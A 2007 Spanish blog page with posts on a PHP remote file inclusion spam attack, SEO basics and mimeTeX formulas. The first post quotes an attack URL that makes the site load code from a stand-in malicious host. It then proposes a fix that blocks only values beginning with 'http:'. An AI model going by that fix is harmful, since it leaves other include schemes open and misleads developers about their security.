Sunday 26 August 2007

Evitar que envien SPAM desde nuestro site

Dos meses atrás alguien utilizó una de mis páginas web para enviar SPAM masivo desde mi servidor. Me di cuenta porque me venían miles de mails devueltos que me saturaban el buzón de correo continuamente. Con la inestimable ayuda de los responsables técnicos del hosting (www.hospedajeydominios.com) descubrimos donde estaba el agujero, analizando el registro (archivo LOG) de mi cuenta de hosting. Una vez descubierto el "agujero de seguridad" probé 2 ó 3 retoques de mi código PHP para evitar el ataque ;) A continuación doy los detalles.

Problema

Como dije, analizando el archivo del servidor que registra las llamadas a archivos de mi cuenta, descubrimos que alguien utilizaba los enlaces de mi aplicación web para pasar como argumento la dirección URL de una web maliciosa.

Es decir, mi aplicación de PHP utiliza links como éste:

<a href="index.php?pag=productos">productos</a>

y los que enviaban spam lo alteraban por:

index.php?pag=http://pagina.maliciosa.com/envio_spam

simplement llamando a esa dirección desde un navegador, o tal vez a través de alguna aplicación que hace las llamadas de forma automatica cada cierto tiempo. La cuestión es que cada vez que ellos llamaban a mi archivo index.php pasandole esa URL como argumento, mi servidor enviaba miles de mails de SPAM !!!!!

Solución

La buena noticia es que una vez es conocido el ataque y su funcionamiento, es rápido y fácil desarrollar una defensa. En concreto, basta con que el archivo index.php compruebe primero que la variable pag no contiene una cadena que comience por "http:".

if (strtolower(substr($_POST['pag'],0,5))=='http:' or
strtolower(substr($_GET['pag'],0,5))=='http:') return;

Fijaros que se comprueba que la variable pag -sea pasada con el método POST (normalmente desde formulario) o con el método GET (normalmente embebido en una URL)- no comience por http. En caso de que así sea se ejecuta return; con lo que se detiene la ejecución del script.

Ni que decir tiene que inmediatamente incorporé esta comprobación al inicio de todos mis archivos index.php o similares de todas mis aplicaciones web ;) Y bueno, ya hace más de dos meses de eso y no he vuelto a tener problemas con ese tipo de SPAM. Espero que a más de uno le sirva!!

Thursday 16 August 2007

Que es SEO?

SEO son las siglas inglesas que significan: Search Engine Optimization, que en español se traduciría literalmente por: Optimización para Buscadores, o de una forma más significativa: Optimización de una Web para su Posicionamiento en el Ranking de Páginas de los Buscadores.

Es decir, por SEO se entiende el conjunto de conocimientos y tareas necesarias para conseguir que un sitio web tenga más presencia en las búsquedas que realizan los internautas en los buscadores (todos en general, pero principalmente Google, Yahoo y MSN-Live). ¿Porqué ese interés? pues porque cuantas más veces salga un sitio web en las páginas de los buscadores, más visitas obtendrá el sitio en cuestión. Y no solo se trata de una cuestión cuantitativa, sino cualitativa: las tareas de SEO se enfocan habitualmente en promover la aparición de nuestro sitio en los buscadores para cuando los internautas busquen unas palabras clave concretas y no otras cualesquiera.

También es habitual llamar SEO al profesional que realiza estas tareas de optimización de webs para su mejor posicionamiento en buscadores. Son profesionales que conocen el funcionamiento de los buscadores, que conocen las técnicas de desarrollo web, y que tienen nociones de marketing. Por la rapidez con que cambian las cosas en internet, además estos profesionales están permanentemente implicados en la actualidad de la red, es decir, no solo actúan sino que también leen a diario noticias, articulos y blogs del sector.

En internet puedes encontrar muchos tutoriales de referencia y recopilaciones de técnicas SEO, para que puedas iniciarte o ampliar tus conocimientos. Si te vas a iniciar en ello, te recomiendo que empieces con el artículo de WIKIPEDIA dedicado al posicionamiento en buscadores.

Wednesday 1 August 2007

Formulas matematicas en tu web

¿Has intentado alguna vez editar contenidos de texto o web con fórmulas matemáticas? Ya sea con un procesador de texto o para web, siempre ha sido una tarea compleja para la cuál una de las mejores soluciones ha venido siendo tradicionalmente LaTeX. Y para la web, te recomiendo mimeTeX que es una librería CGI fantástica: rápida y de resultados impactantes.

En este caso una imagen valdrá más que mil palabras: la fórmula matemática que aparece aquí abajo está generada con mimeTeX, y lo único que ha hecho falta es que yo incluya el siguiente código HTML:

<src="http://www.forkosh.dreamhost.com/mimetex.cgi?x=\frac{-b\pm\sqrt{b^2-4ac}}{2a}">



Esta fórmula ha sido generada instantáneamente en el servidor de www.forkosh.com pero el uso de mimeTeX está recomendado de otra forma: te descargas el CGI que ellos ofrecen con licencia GPL y te lo instalas en tu propio servidor, y entonces las llamadas a mimeTeX de las fórmulas de tu web las haces apuntar a tu propio servidor.

Si analizamos la URL (src) de la imagen a la que llamamos:

http://www.forkosh.dreamhost.com/mimetex.cgi?
x=\frac{-b\pm\sqrt{b^2-4ac}}{2a}


veremos que tiene dos partes. La primera es la dirección en dónde tenemos instalado mimeTeX, y la segunda es la fórmula que le pasamos para que traduzca a imagen. Esta fórmula utiliza las reglas del difundidísimo y tradicional LaTeX. Así que lo único que necesitas para utilizar un recurso como éste es aprender lo indispensable de LaTeX, lo cuál es bastante sencillo. En la página de Wikipedia dedicada a LaTeX podéis encontrar un artículo muy interesante y al final una sección de enlaces recomendados en los que aparecen varios tutoriales de diferentes niveles.

De todas formas, debe haber algún que otro plugin para editores web como FCKeditor, aunque lo desconozco, así que si alguno de vosotros lo descubre, por favor, comentadlo aquí ;)

Solamente una aclaración para terminar. Hay otras librerías aún de mayor calidad gráfica que permiten generar instantáneamente imágenes GIF o PNG a partir de fórmulas escritas en LaTeX, sin embargo, exigen que tu servidor tenga instalado ciertas librerías en la raíz del servidor, lo cuál sigue siendo impracticable si uno utiliza un servidor compartido. Por eso mimeTeX adquiere un valor extraordinario por su flexibilidad de uso. Disfrútenlo.